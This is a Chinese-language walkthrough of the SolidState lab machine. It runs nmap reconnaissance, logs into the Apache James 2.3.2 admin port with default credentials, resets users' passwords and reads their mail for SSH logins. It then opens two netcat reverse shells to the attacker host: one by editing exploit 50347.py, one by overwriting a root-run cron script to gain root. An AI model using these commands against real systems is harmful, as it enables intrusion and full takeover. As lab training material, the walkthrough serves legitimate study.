SolidState靶机通关教程及提权

声明!本文章及工具分享仅仅只是供大家学习交流为主,如有任何触犯法律的行为,均与本人及团队无关!!!

工具链接:https://pan.quark.cn/s/33795a10039c

一、靶机搭建

点击扫描虚拟机

SolidState靶机通关教程及提权

选择靶机使在文件夹即可

SolidState靶机通关教程及提权

建议kali和靶机的网络都使用NAT模式

二、信息收集

1. 扫出ip信息

nmap -sN 192.168.108.0/24 

扫描结果:

SolidState靶机通关教程及提权

排除kali自身,即192.168.108.138为靶机ip

2. 查找开放端口和服务信息

nmap 192.168.108.138 -p 1-65535 nmap -sV 192.168.108.138 

扫描结果:

SolidState靶机通关教程及提权

可用信息:

22/tcp open ssh

25/tcp open smtp

80/tcp open http

110/tcp open pop3

119/tcp open nntp

4555/tcp open rsip

3. 指纹探测找出系统版本信息

nmap 192.168.108.138 -p 22,25,80,110,119,4555 -sV -sC -O --version-all  

结果如下

SolidState靶机通关教程及提权

可用信息:

Linux 3.2-4.9

CPE: cpe:/o:linux:linux_kernel

三、寻找攻击点并攻击

1. 寻找信息

访问开启的web端口,发现4555端口可能存在用户名密码登录

SolidState靶机通关教程及提权

搜索相关漏洞,发现默认账号密码

SolidState靶机通关教程及提权

搜索此漏洞,有两个可以利用的脚本

searchsploit JAMES 2.3.2 

SolidState靶机通关教程及提权

下载下来备用

searchsploit -m 50347.py python 50347.py -h 

SolidState靶机通关教程及提权

利用方式为

python 50347.py 靶机ip 攻击机ip 监听端口 

2. 尝试攻击

连接此端口,输入账号密码登录

nc 192.168.108.138 4555 help 

SolidState靶机通关教程及提权

以上是一个pop3的协议,翻译过来看看

help:显示此帮助信息 listusers:显示现有账户 countusers:显示账户数量 adduser [用户名] [密码]:添加新用户 verify [用户名]:验证指定用户是否存在 deluser [用户名]:删除现有用户 setpassword [用户名] [密码]:设置用户密码 setalias [用户] [别名]:将 ' 用户 ' 的所有邮件本地转发到 ' 别名' showalias [用户名]:显示用户的当前邮件别名 unsetalias [用户]:取消 ' 用户 ' 的别名 setforwarding [用户名] [邮箱地址]:将用户的邮件转发到另一个邮箱地址 showforwarding [用户名]:显示用户当前的邮件转发设置 unsetforwarding [用户名]:取消转发 user [存储库名]:切换到另一个用户存储库 shutdown:关闭当前 JVM(当 James 作为守护进程运行时很方便) quit:关闭连接 

执行命令

listusers setpassword 账号名 

更改所有账户的密码为1,留着备用

SolidState靶机通关教程及提权

先看看telnet连接后的命令使用,大小写任意

USER: 提供用户名以进行身份验证。 PASS: 提供密码以进行身份验证。 LIST: 列出邮件。 RETR: 查看或下载指定邮件。 DELE: 删除指定邮件。 QUIT: 结束会话。 

再看看回显信息

user 用户名: 这是用来输入用户名的命令。 +OK: 服务器确认接收用户名。 pass 密码: 这是用来输入密码的命令。 +OK Welcome 用户名: 服务器确认密码正确,并欢迎用户。 -ERR:表示返回错误 list: 这是一个常见的邮件协议命令,用于列出邮件信息,如邮件数量及其大小。 +OK 1 743: 服务器响应,表示成功获取信息,通常会返回邮件的数量和大小,1代表一个邮件,743代表字节大小 

利用telnet命令连接,因为前两个用户并没有邮箱信息,所以就不放截图了,这里看john用户,查看邮件信息

telnet ip user john pass 1 retr 1 

SolidState靶机通关教程及提权

发现提示我们去看mindy账户,同样的方式访问mindy账户,在第二个邮件里发现登录名和密码

SolidState靶机通关教程及提权

账号:mindy

密码:P@55W0rd1!2@

3. ssh登录并利用

尝试ssh登录

ssh mindy@192.168.108.138 

SolidState靶机通关教程及提权

-rbash:被限制的bash,此bash命令被限制,按两次tab看看有什么命令可以用

SolidState靶机通关教程及提权

看看etc/passwd里面有什么sh可以利用

SolidState靶机通关教程及提权

可以尝试利用mindy的rbash进行shell反弹

4. 脚本利用

编辑刚才的脚本,修改一下

vim 50347.py pyload = 'nc -e bin/sh 攻击机ip 监听端口' 

SolidState靶机通关教程及提权

先执行一下脚本

python3 50347.py 192.168.108.138 192.168.108.130 4444 

SolidState靶机通关教程及提权

5. 获得完整权限

一个面板执行ssh登录,一个面板监听

SolidState靶机通关教程及提权

成功获得

SolidState靶机通关教程及提权

四、提权

因为是james账户提示的mindy,所以看看进程

SolidState靶机通关教程及提权

发现可疑信息opt文件夹

cd opt ls -ll cat tmp.py 

这个代码的意思是定期删除/tmp目录下的内容

SolidState靶机通关教程及提权

写个反弹shell提权,并开启端口监听

echo 'import os; os.system("/bin/nc 192.168.108.130 9999 -e /bin/bash")' > /opt/tmp.py cat tmp.py python tmp.py 

SolidState靶机通关教程及提权

此时即可获得root权限

发表评论

相关文章